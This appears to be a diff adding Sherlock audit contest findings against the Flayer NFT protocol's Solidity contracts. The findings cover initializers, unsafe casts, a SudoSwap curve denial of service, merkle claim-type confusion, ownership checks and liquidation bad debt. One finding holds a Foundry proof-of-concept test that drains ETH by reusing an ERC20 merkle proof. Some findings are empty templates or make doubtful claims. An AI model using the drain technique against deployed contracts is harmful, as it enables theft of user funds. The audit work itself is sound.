+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L205C4-L205C149
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add Access Control Modifiers: Protect initializer functions with appropriate access control modifiers to ensure that only authorized parties can execute them. For example, use `onlyOwner` or `initializer` modifiers.
diff --git a/041/590.md b/041/590.md
new file mode 100644
index 0000000..1897dcd
--- /dev/null
+++ b/041/590.md
@@ -0,0 +1,127 @@
+Puny Mocha Guppy
+
+High
+
+# H-3 Unprotected initializer --
+
+## Summary
+
+## Vulnerability Detail
+
+Consider protecting the initializer functions with modifiers.
+
+
+## Impact
+
+## Code Snippet
+
+
+
+16 Found Instances
+
+
+- Found in src/contracts/CollectionToken.sol [Line: 136](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/CollectionToken.sol#L136)
+
+ ```solidity
+ function _guardInitializeOwner() internal pure override returns (bool) {
+ ```
+
+- Found in src/contracts/Listings.sol [Line: 999](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L999)
+
+ ```solidity
+ function _guardInitializeOwner() internal pure override returns (bool) {
+ ```
+
+- Found in src/contracts/LockerManager.sol [Line: 67](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/LockerManager.sol#L67)
+
+ ```solidity
+ function _guardInitializeOwner() internal pure override returns (bool) {
+ ```
+
+- Found in src/contracts/implementation/BaseImplementation.sol [Line: 151](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L151)
+
+ ```solidity
+ function initializeCollection(address /* _collection */, uint /* _eth */, uint /* _tokens */, uint160 /* _sqrtPriceX96 */) public virtual {
+ ```
+
+- Found in src/contracts/implementation/BaseImplementation.sol [Line: 269](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L269)
+
+ ```solidity
+ function _guardInitializeOwner() internal pure override returns (bool) {
+ ```
+
+- Found in src/contracts/implementation/UniswapImplementation.sol [Line: 205](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L205)
+
+ ```solidity
+ function initializeCollection(address _collection, uint _amount0, uint _amount1, uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
+ ```
+
+- Found in src/contracts/utils/AirdropRecipient.sol [Line: 154](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L154)
+
+ ```solidity
+ function _guardInitializeOwner() internal pure override returns (bool) {
+ ```
+
+- Found in src/contracts/utils/CollectionShutdown.sol [Line: 521](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L521)
+
+ ```solidity
+ function _guardInitializeOwner() internal pure override returns (bool) {
+ ```
+
+- Found in src/interfaces/IBaseImplementation.sol [Line: 44](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/IBaseImplementation.sol#L44)
+
+ ```solidity
+ function initializeCollection(address _collection, uint _eth, uint _tokens, uint _amount1Slippage, uint160 _sqrtPriceX96) external;
+ ```
+
+- Found in src/interfaces/ICollectionToken.sol [Line: 11](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/ICollectionToken.sol#L11)
+
+ ```solidity
+ function initialize(string calldata name_, string calldata symbol_, uint _denomination) external;
+ ```
+
+- Found in src/interfaces/ILocker.sol [Line: 47](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/ILocker.sol#L47)
+
+ ```solidity
+ function collectionInitialized(address _collection) external view returns (bool);
+ ```
+
+- Found in src/interfaces/ILocker.sol [Line: 61](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/interfaces/ILocker.sol#L61)
+
+ ```solidity
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) external;
+ ```
+
+
+- Found in src/InfernalRiftBelow.sol [Line: 103](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L103)
+
+ ```solidity
+ function initializeERC721Bridgable(address _erc721Bridgable) external {
+ ```
+
+- Found in src/InfernalRiftBelow.sol [Line: 119](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L119)
+
+ ```solidity
+ function initializeERC1155Bridgable(address _erc1155Bridgable) external {
+ ```
+
+- Found in src/libs/ERC1155Bridgable.sol [Line: 53](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L53)
+
+ ```solidity
+ function initialize(uint96 _royaltyBps, uint256 _REMOTE_CHAIN_ID, address _REMOTE_TOKEN) external {
+ ```
+
+- Found in src/libs/ERC721Bridgable.sol [Line: 57](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L57)
+
+ ```solidity
+ function initialize(
+ ```
+
+
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/042/310.md b/042/310.md
new file mode 100644
index 0000000..08b047e
--- /dev/null
+++ b/042/310.md
@@ -0,0 +1,38 @@
+Funny Grape Ladybug
+
+High
+
+# Unsafe casting in `InfernalRiftAbove.sol`
+
+## Summary
+An unsafe downcast of an integer type was found in the contract where a larger integer type is being cast to a smaller one. This can result in data truncation if the value exceeds the range of the target type. Specifically, the value is downcast from `uint256` to `uint96`, which can lead to loss of significant digits if the original value exceeds the range of `uint96`.
+
+## Vulnerability Detail
+In the file `InfernalRiftAbove.sol`, the following line of code is performing an unsafe downcast:
+
+```solidity
+royaltyBps_ = uint96(_royaltyAmount);
+```
+
+Here, `_royaltyAmount` is downcast from its original type (assumed to be `uint256`) to `uint96`. If `_royaltyAmount` exceeds the maximum value that a `uint96` can store (which is `2^96 - 1`), the higher bits of the value will be truncated, leading to a potential loss of data. This could cause unexpected behavior or financial discrepancies, especially if `royaltyBps_` is used in critical financial calculations.
+
+## Impact
+**Data loss:** If the value of `_royaltyAmount` exceeds the maximum range of `uint96`, truncation will occur, potentially leading to incorrect royalty calculations.
+**Unintended behavior:** The contract could miscalculate important values related to royalty payments, leading to financial discrepancies or losses.
+**Security vulnerability:** If unchecked, this could be exploited by malicious actors who could input large values to manipulate calculations.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L288C13-L289C1
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Use OpenZeppelin's SafeCast library to safely downcast the integer and ensure the value fits within the target type's range. SafeCast will revert the transaction if the downcast causes an overflow:
+
+```solidity
+import "@openzeppelin/contracts/utils/math/SafeCast.sol";
+
+royaltyBps_ = SafeCast.toUint96(_royaltyAmount);
+```
\ No newline at end of file
diff --git a/042/600.md b/042/600.md
new file mode 100644
index 0000000..6dcf4be
--- /dev/null
+++ b/042/600.md
@@ -0,0 +1,33 @@
+Puny Mocha Guppy
+
+High
+
+# H-8 Unsafe Casting
+
+## Summary
+
+## Vulnerability Detail
+
+Downcasting int/uints in Solidity can be unsafe due to the potential for data loss and unintended behavior.When downcasting a larger integer type to a smaller one (e.g., uint256 to uint128), the value may exceed the range of the target type,leading to truncation and loss of significant digits. Use OpenZeppelin's SafeCast library to safely downcast integers.
+
+## Impact
+
+## Code Snippet
+
+1 Found Instances
+
+
+- Found in src/InfernalRiftAbove.sol [Line: 288](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L288)
+
+ ```solidity
+ royaltyBps_ = uint96(_royaltyAmount);
+ ```
+
+
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
\ No newline at end of file
diff --git a/043/312.md b/043/312.md
new file mode 100644
index 0000000..2cee46d
--- /dev/null
+++ b/043/312.md
@@ -0,0 +1,48 @@
+Precise Lava Starfish
+
+Medium
+
+# _createSudoswapPool may be dos because of unsupported curve
+
+## Summary
+If the current bonding curve is removed from sudo swap whitelist, _createSudoswapPool() will be reverted.
+
+## Vulnerability Detail
+If one collection market is not active, we can shutdown this market. NFTs will be transferred to one sudoswap pool to be sold. We can assign one bonding curve for this swap pool.
+The problem is that we use one fixed curve address to create sudo swap. But in sudo swap, the owner may update the allowed curve list. If our fixed curve address is removed from the sudo swap whitelist, our `_createSudoswapPool()` will always be reverted.
+
+```solidity
+ function _createSudoswapPool(IERC721 _collection, uint[] calldata _tokenIds) internal returns (address) {
+ return address(
+ pairFactory.createPairERC721ETH({
+ _nft: _collection,
+@> _bondingCurve: curve,
+ _assetRecipient: payable(address(this)),
+ _poolType: ILSSVMPair.PoolType.NFT,
+ _delta: uint128(block.timestamp) << 96 | uint128(block.timestamp + 7 days) << 64,
+ _fee: 0,
+ _spotPrice: 500 ether,
+ _propertyChecker: address(0),
+ _initialNFTIDs: _tokenIds
+ })
+ );
+ }
+```
+```solidity
+ function setBondingCurveAllowed(ICurve bondingCurve, bool isAllowed) external onlyOwner {
+ bondingCurveAllowed[bondingCurve] = isAllowed;
+ emit BondingCurveStatusUpdate(bondingCurve, isAllowed);
+ }
+```
+## Impact
+ _createSudoswapPool() will be reverted if the curve is removed from sudo swap whitelist.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L478-L492
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add one function to allow modifying the `curve`.
\ No newline at end of file
diff --git a/043/335.md b/043/335.md
new file mode 100644
index 0000000..f1f4e7f
--- /dev/null
+++ b/043/335.md
@@ -0,0 +1,49 @@
+Amateur Cornflower Fish
+
+Medium
+
+# Immutable bonding curve in `CollectionShutdown` can be removed from SudoSwap whitelist
+
+## Summary
+The bonding curve used when calling SudoSwap's factory for ERC721/eth pairs is immutable and hardcoded which is problematic.
+## Vulnerability Detail
+Once a collection shutdown is executed, the NFTs are [sent into a SudoSwap pool](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L263) to be sold. If we examine the [data passed](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L478-L492) to create the pool we'll see that the Bonding Curve pricing logic is hardcoded:
+
+```solidity
+ function _createSudoswapPool(IERC721 _collection, uint[] calldata _tokenIds) internal returns (address) {
+ return address(
+ pairFactory.createPairERC721ETH({
+ _nft: _collection,
+@> _bondingCurve: curve,
+ _assetRecipient: payable(address(this)),
+ _poolType: ILSSVMPair.PoolType.NFT,
+ _delta: uint128(block.timestamp) << 96 | uint128(block.timestamp + 7 days) << 64,
+ _fee: 0,
+ _spotPrice: 500 ether,
+ _propertyChecker: address(0),
+ _initialNFTIDs: _tokenIds
+ })
+ );
+ }
+```
+
+And the bonding curve address is [immutable](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L78) and set in the [constructor](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L106). There is no way to set a new one/update it once the contract is deployed.
+
+But if we take a look at [sudo swap factory's function](https://github.com/sudoswap/lssvm2/blob/1b18945b6c8f3e74052ffae0385bd2640d167e81/src/LSSVMPairFactory.sol#L135-L158) the following check is present:
+
+```solidity
+ if (!bondingCurveAllowed[_bondingCurve]) revert LSSVMPairFactory__BondingCurveNotWhitelisted();
+```
+
+If the bonding curve is [removed from the whitelist](https://github.com/sudoswap/lssvm2/blob/1b18945b6c8f3e74052ffae0385bd2640d167e81/src/LSSVMPairFactory.sol#L453-L461) then that would completely brick shutting down collections in Flayer since its immutable and hardcoded. Whitelisting of the bonding curve in Sudo Swap is out of the hands of the Flayer Protocol, and is not admin error. The flaw is not allowing the bonding curve to be updated which will break the external call, due to this I believe medium severity is warranted.
+## Impact
+Complete DOS of collection shutdown contract, rendering it unusable for as long as the bonding curve is not whitelisted.
+## Code Snippet
+```solidity
+ if (!bondingCurveAllowed[_bondingCurve]) revert LSSVMPairFactory__BondingCurveNotWhitelisted();
+```
+## Tool used
+Manual Review
+
+## Recommendation
+Allow the admin to pass what bonding curve address to use in `execute()` as the function is access controlled to `onlyOwner` anyway.
\ No newline at end of file
diff --git a/044/332.md b/044/332.md
new file mode 100644
index 0000000..8020df8
--- /dev/null
+++ b/044/332.md
@@ -0,0 +1,103 @@
+Crazy Chiffon Spider
+
+High
+
+# Claim logic in AirdropRecipient can be manipulated with different ClaimTypes to drain funds
+
+## Summary
+This issue allows for **manipulation by anyone** on how the airdropped amounts are distributed when we have multiple `ClaimTypes` for one Merkle root, which leads to **either losses** if it's called by an adversary, or **potential gains**, which will "**steal**" from airdrops intended for other NFTs.
+
+## Vulnerability Detail
+In `AirdropRecipient.sol` we can have the same merkle root set for different `ClaimTypes`, so we could use for example one merkle for 1 specific NFT, or for 1 specific owner. Either way this is vulnerable, since the `ClaimTypes` enum is not included in the Merkle proof.
+
+Its **100% intended** to have multiple `ClaimTypes` for the same merkle root, for proof we can use this test as an example - [test_CannotDistributeExistingMerkle()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/test/utils/AirdropRecipient.t.sol#L84C14-L94)
+
+Which not only demonstrates it, but explicitly mentions it in a comment:
+> Confirm that we can distribute the same merkle again to a different ClaimType
+
+We lack any validation for claimType, so we can pass arbitrary values for it.
+```solidity
+@>> function claimAirdrop(bytes32 _merkle, Enums.ClaimType _claimType, MerkleClaim calldata _node, bytes32[] calldata _merkleProof) {
+ if (!merkleClaims[_merkle][_claimType]) revert MerkleRootNotValid();
+
+ bytes32 nodeHash = keccak256(abi.encode(_node));
+ if (isClaimed[_merkle][nodeHash]) revert AirdropAlreadyClaimed();
+
+ if (!MerkleProofLib.verifyCalldata(_merkleProof, _merkle, nodeHash)) revert InvalidClaimNode();
+ isClaimed[_merkle][nodeHash] = true;
+
+ if (_claimType == Enums.ClaimType.ERC20) {
+@>> if (!IERC20(_node.target).transfer(_node.recipient, _node.amount)) revert TransferFailed();
+ } else if (_claimType == Enums.ClaimType.ERC721) {
+ IERC721(_node.target).transferFrom(address(this), _node.recipient, _node.tokenId);
+ } else if (_claimType == Enums.ClaimType.ERC1155) {
+ IERC1155(_node.target).safeTransferFrom(address(this), _node.recipient, _node.tokenId, _node.amount, '');
+ } else if (_claimType == Enums.ClaimType.NATIVE) {
+@>> (bool sent,) = payable(_node.recipient).call{value: _node.amount}('');
+ if (!sent) revert TransferFailed();
+ }
+ }
+```
+If we have 2 airdrops, one for **ERC20** and one for **NATIVE**, we will have 2 pairs of proofs with different `MerkleClaim` structs, which define the amount, recipient, etc.
+However, when those 2 pairs have the same root, it will be possible to swap them and use the proof for the **ERC20**, instead of the **NATIVE** claim.
+
+### Coded PoC
+Add this to AirdropRecipient.t.sol and use `forge test --match-test test_MerkleExploit -vvvv`
+```solidity
+ function test_MerkleExploit() public {
+ //Ensure Locker contract has enough funds to distribute airdrop
+ deal(address(locker), 5 ether);
+
+ //We assume NATIVE is way more valuable than ERC20, as in most cases it would be.
+ //Root is 0xca92ea31dbd5ac6a8ac71885a57cde1ebf7a21b45f6b6d27c5e8b75b36a6bc97
+ //We use https://lab.miguelmota.com/merkletreejs/example/ - Use keccak256 hashing
+
+ //========= ERC20 setup =========
+ address claimerOne = address(1);
+ IAirdropRecipient.MerkleClaim memory claimOne = IAirdropRecipient.MerkleClaim(claimerOne, address(erc20), 0, 1 ether);
+ emit log_bytes32(keccak256(abi.encode(claimOne))); //0x9e6a01866327b729a94cd8c6fc0ae0d817f810bb08c0d14e8020d3093e1b6138
+
+ //0xb61923e7df34c8e19739d449724a79d90c60b8faa54bbe2f9e10c3ff9d1dcd82
+ emit log_bytes32(keccak256(abi.encode(IAirdropRecipient.MerkleClaim(claimerOne, address(erc20), 0, 0.2 ether))));
+
+ //========== NATIVE (ETH) setup ==========
+ //0xf7338c81ef403b37befb3805172ced4c8cdc67e0678c014c10cb4408216f8f10
+ emit log_bytes32(keccak256(abi.encode(IAirdropRecipient.MerkleClaim(claimerOne, address(0), 0, 0.15 ether))));
+
+ //===START===
+ locker.distributeAirdrop(0xc80142463349dd7a3d98b99f5ef8ca70e428b51c219503fbeae86936116215f3, Enums.ClaimType.ERC20);
+ locker.distributeAirdrop(0xc80142463349dd7a3d98b99f5ef8ca70e428b51c219503fbeae86936116215f3, Enums.ClaimType.NATIVE);
+
+ // Now we can claim the NATIVE airdrop with the proof for the ERC20 airdrop
+ // This is the proof for the 0x9e6a01866327b729a94cd8c6fc0ae0d817f810bb08c0d14e8020d3093e1b6138 leaf
+ bytes32[] memory proof = new bytes32[](2);
+ proof[0] = 0xb61923e7df34c8e19739d449724a79d90c60b8faa54bbe2f9e10c3ff9d1dcd82;
+ proof[1] = 0xf7338c81ef403b37befb3805172ced4c8cdc67e0678c014c10cb4408216f8f10;
+
+ locker.claimAirdrop({
+ _merkle: 0xc80142463349dd7a3d98b99f5ef8ca70e428b51c219503fbeae86936116215f3,
+ // Even though the (keccak256(abi.encode(claimOne) 0x9e6a01866327b729a94cd8c6fc0ae0d817f810bb08c0d14e8020d3093e1b6138 is for ERC20, we claim NATIVE
+ _claimType: Enums.ClaimType.NATIVE,
+ _node: claimOne, // 0x9e6a01866327b729a94cd8c6fc0ae0d817f810bb08c0d14e8020d3093e1b6138
+ _merkleProof: proof
+ });
+
+ // Confirm that the user now successfully claimed the claimOne airdrop amount for the NATIVE claim
+ // By using the proof for the ERC20 claim
+ assertEq(payable(claimerOne).balance, 1 ether);
+ assertEq(address(locker).balance, 4 ether);
+ }
+```
+### Impact
+
+Both `MerkleClaim` structs for both proofs will contain different amounts but potentially the same recipient. (Even if the recipient is not the same, this would still lead to accounting errors and loss of funds.)
+
+- If we have `1e18` in an **ERC** token, but `0.01e18` in a **NATIVE** token as an airdrop, it's likely that `1e18` **ERC20** will not be worth as much as 1 **ETH**. So we can exchange unworthy tokens for **ETH**, and this will basically be stolen from the contract.
+
+- Anyone can claim on behalf of any user. So adversaries can create opposite scenarios and screw up more valuable claims for less valuable ones.
+## Tool used
+
+Manual Review
+
+## Recommendation
+Include the ClaimTypes enum in the MerkleClaim struct. This way, it will be embeded in the leaf, thus the ability to manipulate it will no longer be possible.
\ No newline at end of file
diff --git a/044/351.md b/044/351.md
new file mode 100644
index 0000000..4140413
--- /dev/null
+++ b/044/351.md
@@ -0,0 +1,109 @@
+Soft Violet Lion
+
+High
+
+# Fund in airdrop distribution contract can be stolen because the claim type is not in the merkle tree schema
+
+## Summary
+
+the merkle claim schema is:
+
+```solidity
+ struct MerkleClaim {
+ address recipient;
+ address target;
+ uint tokenId;
+ uint amount;
+ }
+```
+
+and the logic for claim airdrop is
+
+```solidity
+function claimAirdrop(bytes32 _merkle, Enums.ClaimType _claimType, MerkleClaim calldata _node, bytes32[] calldata _merkleProof) public {
+
+ // @audit _claimType not in the signature schema
+ // Ensure the merkle root exists
+ if (!merkleClaims[_merkle][_claimType]) revert MerkleRootNotValid();
+
+ // Hash our node
+ bytes32 nodeHash = keccak256(abi.encode(_node));
+
+ // Ensure that the user has not already claimed the airdrop
+ if (isClaimed[_merkle][nodeHash]) revert AirdropAlreadyClaimed();
+
+ // Encode our node based on the MerkleClaim and check that the node is
+ // valid for the claim.
+ if (!MerkleProofLib.verifyCalldata(_merkleProof, _merkle, nodeHash))
+ revert InvalidClaimNode();
+
+ // Mark our merkle as claimed against by the recipient
+ isClaimed[_merkle][nodeHash] = true;
+
+ // Check the claim type we are dealing with and distribute accordingly
+ if (_claimType == Enums.ClaimType.ERC20) {
+ if (!IERC20(_node.target).transfer(_node.recipient, _node.amount)) revert TransferFailed();
+ } else if (_claimType == Enums.ClaimType.ERC721) {
+ IERC721(_node.target).transferFrom(address(this), _node.recipient, _node.tokenId);
+ } else if (_claimType == Enums.ClaimType.ERC1155) {
+ IERC1155(_node.target).safeTransferFrom(address(this), _node.recipient, _node.tokenId, _node.amount, '');
+ } else if (_claimType == Enums.ClaimType.NATIVE) {
+ (bool sent,) = payable(_node.recipient).call{value: _node.amount}('');
+ if (!sent) revert TransferFailed();
+ }
+
+ emit AirdropClaimed(_merkle, _claimType, _node);
+ }
+
+```
+
+the root cause is that the claim type is not in the node schema.
+
+```solidity
+ bytes32 nodeHash = keccak256(abi.encode(_node));
+```
+
+consider the case:
+
+the airdrop contract hold 100 ETH and 10000 USDC.
+
+the user is entitled to 100 USDC airdrop, the user get the merkle proof and the MerkleClaim
+
+both
+
+consider the case Enums.ClaimType.NATIVE and Enums.ClaimType.ERC20 is enabled.
+
+then user while user should input Enums.ClaimType.ERC20 and get the 100 USDC airdrop,
+
+user can use the same claim node to input Enums.ClaimType.NATIVE and steal all 100 ETH.
+
+```solidity
+else if (_claimType == Enums.ClaimType.NATIVE) {
+ (bool sent,) = payable(_node.recipient).call{value: _node.amount}('');
+ if (!sent) revert TransferFailed();
+ }
+```
+
+## Vulnerability Detail
+
+## Impact
+
+lose of fund
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/AirdropRecipient.sol#L121
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Change the code to include the claim type in the merkle tree node schema.
+
+```solidity
+ // Hash our node
+ bytes32 nodeHash = keccak256(abi.encode(_node, claimType));
+
+```
diff --git a/045/356.md b/045/356.md
new file mode 100644
index 0000000..1c3cc65
--- /dev/null
+++ b/045/356.md
@@ -0,0 +1,29 @@
+Able Candy Crane
+
+High
+
+# Lack of Ownership Verification in deposit() of Locker contract
+
+## Summary
+The deposit() function does not check whether the msg.sender owns the NFTs being deposited. This can allow users to deposit NFTs they don't own, leading to unauthorized token minting.
+
+## Vulnerability Detail
+The function allows users to deposit NFTs without verifying whether the user owns those NFTs. As a result, attackers can deposit NFTs they don’t own and mint ERC20 tokens fraudulently. This is especially dangerous in cases where ERC20 tokens can be redeemed for valuable assets.
+
+## Impact
+Attackers could mint ERC20 tokens from NFTs they do not own, resulting in a loss of trust in the contract and an inflation of the token supply.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L144-L166
+
+## Tool used
+Manual Review
+
+## Recommendation
+Add an ownership check using IERC721.ownerOf to verify that the msg.sender owns the NFTs they are depositing
+```solidity
+for (uint i = 0; i < tokenIdsLength; ++i) {
+ require(collection.ownerOf(_tokenIds[i]) == msg.sender, "Caller does not own the NFT");
+ collection.transferFrom(msg.sender, address(this), _tokenIds[i]);
+}
+```
diff --git a/045/360.md b/045/360.md
new file mode 100644
index 0000000..62551a2
--- /dev/null
+++ b/045/360.md
@@ -0,0 +1,27 @@
+Able Candy Crane
+
+Medium
+
+# Lack of Ownership Verification and Potential Asset Loss in swap() and swapBatch() of Locker contract
+
+## Summary
+While the function correctly checks that the tokens are not the same and ensures the outgoing token is not listed, it lacks ownership verification for the token being swapped and could lead to loss of assets or potential exploitation.
+
+## Vulnerability Detail
+The function does not verify whether the msg.sender owns the NFT they are attempting to swap (_tokenIdIn). This could allow malicious users to swap NFTs they don't own, causing issues in the contract’s ownership records and potentially leading to asset loss.
+Additionally, the function directly transfers the NFT back to the user without additional checks on the value of the NFT being swapped or the security of the exchange process.
+
+## Impact
+Malicious users could attempt to swap NFTs they do not own, causing discrepancies in the contract and potential asset loss for other users.
+Without any checks on the value of the NFTs being swapped, a user could exploit the contract by exchanging low-value NFTs for high-value ones.
+Improper ownership verification or unexpected behavior during transfers could lead to permanent loss of NFTs.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L241-L287
+
+## Tool used
+Manual Review
+
+## Recommendation
+Ensure that the user attempting to swap the NFT actually owns _tokenIdIn by adding a check using IERC721.ownerOf()
+`require(IERC721(_collection).ownerOf(_tokenIdIn) == msg.sender, "Caller is not the owner of the token");`
\ No newline at end of file
diff --git a/046/374.md b/046/374.md
new file mode 100644
index 0000000..de583dd
--- /dev/null
+++ b/046/374.md
@@ -0,0 +1,93 @@
+Crazy Chiffon Spider
+
+High
+
+# Compound interest is lost when liquidating an unhealthy, protected listing
+
+## Summary
+When the `unlockPrice()` surpasses the `MAX_PROTECTED_TOKEN_AMOUNT` (up to **95%** in `ProtectedListings`), the compounded fee over this value is **lost**, and the protocol ends up in **bad debt**.
+
+## Vulnerability Detail
+`MAX_PROTECTED_TOKEN_AMOUNT = 0.95 ether;` and `KEEPER_REWARD = 0.05 ether;` are defined in `ProtectedListings`.
+
+In order to call `liquidateProtectedListing()` for a listing, we need the `getProtectedListingHealth()` function to return a **negative collateral value**.
+
+```solidity
+ function liquidateProtectedListing(address _collection, uint _tokenId) public {
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+@>> if (collateral >= 0) revert ListingStillHasCollateral();
+```
+
+This happens when `MAX_PROTECTED_TOKEN_AMOUNT - unlockPrice < 0`. The unlock price is calculated when the borrowed amount (i.e., the amount the owner of the NFT has borrowed in `CT` tokens + the compounded interest) exceeds `0.95e18`.
+**Note**: 1e18 or 1 ether represents 100% of `1 CT`.
+
+```solidity
+ function getProtectedListingHealth(address _collection, uint _tokenId) public view returns (int) {
+@>> return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId));
+ }
+```
+
+In the [`liquidateProtectedListing()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L429-L484) function, we have this calculation:
+
+```solidity
+ uint remainingCollateral = (1 ether - listing.tokenTaken - KEEPER_REWARD) * 10 ** denomination;
+ if (remainingCollateral > 0) {
+ IBaseImplementation implementation = locker.implementation();
+ collectionToken.approve(address(implementation), remainingCollateral);
+ implementation.depositFees(_collection, 0, remainingCollateral);
+ }
+```
+
+This essentially deposits the remaining amounts into the `depositFees()` in the `UniswapV4Implementation`, which is then distributed to the liquidity providers as rewards.
+
+The problem is that if we call `liquidateProtectedListing()`, the protocol will **always end up in bad debt**.
+For example, if `unlockPrice = 0.96 ether`, then **0.01 ether (~1%)** of the unlock price will not be retrieved from the Flayer protocol.
+
+Let’s say the owner has taken out **0.5 CT**, and `KEEPER_REWARD` is fixed at **0.05 ether**, so the amounts received are:
+`uint remainingCollateral = (1 ether - 0.5 ether - 0.05 ether)`, which equals **0.45 ether**. The **0.01 ether is lost**.
+
+This behavior can be tested via the `test_CanLiquidateProtectedListing()` test that already exists. Simply adjust the "warp" time to increase the delta returned from `getProtectedListingHealth()`, since `unlockPrice` will be higher:
+
+```diff
+ // Warp forward to a point at which the collateral available is negative
+- vm.warp(block.timestamp + LIQUIDATION_TIME);
++ vm.warp(block.timestamp + LIQUIDATION_TIME + 3000 days);
+ assertLt(protectedListings.getProtectedListingHealth(address(erc721a), _tokenId), 0);
+```
+
+However, when running `forge test --match-test test_CanLiquidateProtectedListing -vvvv`, our balance asserts will still be valid, and the test will pass, as these fees are not factored in.
+
+## Impact
+
+This could have a **significant impact** if `liquidateProtectedListing()` was called when the utilization rate was **over 0.8**.
+
+When the utilization rate is high (above the **0.8 kink**), the compound interest increases drastically, as defined in the **TaxCalculator** contract.
+![image](https://github.com/user-attachments/assets/809710a5-0546-4261-a4cf-2545b779b6ff)
+
+We could see **rapid changes** in the `unlockPrice`.
+
+### Example Delta Computation:
+**Preconditions**:
+- Lockbox is created and an NFT is deposited.
+- 0.5 CT is borrowed. (maximum borrow is 0.95CT)
+
+**Flow**:
+- `unlockPrice` reaches **1.05 ether**
+- `liquidateProtectedListing()` is called
+ - The KEEPER receives **0.05 CT** of the **0.5 CT** left. Now the contract "holds" **0.45 CT**
+ - Using the `remainingCollateral` formula, we get: `(1 ether - 0.5 ether - 0.05 ether) = 0.45 CT` which will be distributed for fees from the interest. The `unlockPrice` was **1.05 ether** and the protocol ends up loosing part of the compounded interest, in this case he gave 0.05 as reward, but more importantly lost the 0.05 accrued over the 1 ether.
+
+- A **Dutch auction** is created in **Listings.sol** with 4x floorMultiplier and 4 days duration.
+- **Ownership** of the Dutch auction is transferred back to the owner.
+
+This **bad debt** could be avoided if the NFT was valuable, as buyers might purchase it for more than the floor price in the Dutch auction. However, the protocol won't benefit because ownership is transferred back to the liquidated owner. And if the NFT is sold over the floor price of 1CT, the owner will receive compensation.
+
+The protocol is **not prioritizing recovering its interest fees** from the auction and thus ends up in bad debt.
+
+## Tools Used
+
+**Manual Review**
+
+## Recommendation
+A potential solution is to allow the **ProtectedListings** contract to retain custody of the auction, so it can receive the **additional CT** from the Dutch auction if the NFT is valuable and sells for over 1 CT. This way, the debt can be covered first, then the remainder can be distributed to the owner and the KEEPER.
+(Alternatively, the KEEPER reward could be kept at the creation stage, if preferred.)
\ No newline at end of file
diff --git a/046/643.md b/046/643.md
new file mode 100644
index 0000000..7f5da7a
--- /dev/null
+++ b/046/643.md
@@ -0,0 +1,47 @@
+Large Mauve Parrot
+
+Medium
+
+# Maximum borrowable amount in protected listings should be lower
+
+### Summary
+
+_No response_
+
+### Root Cause
+
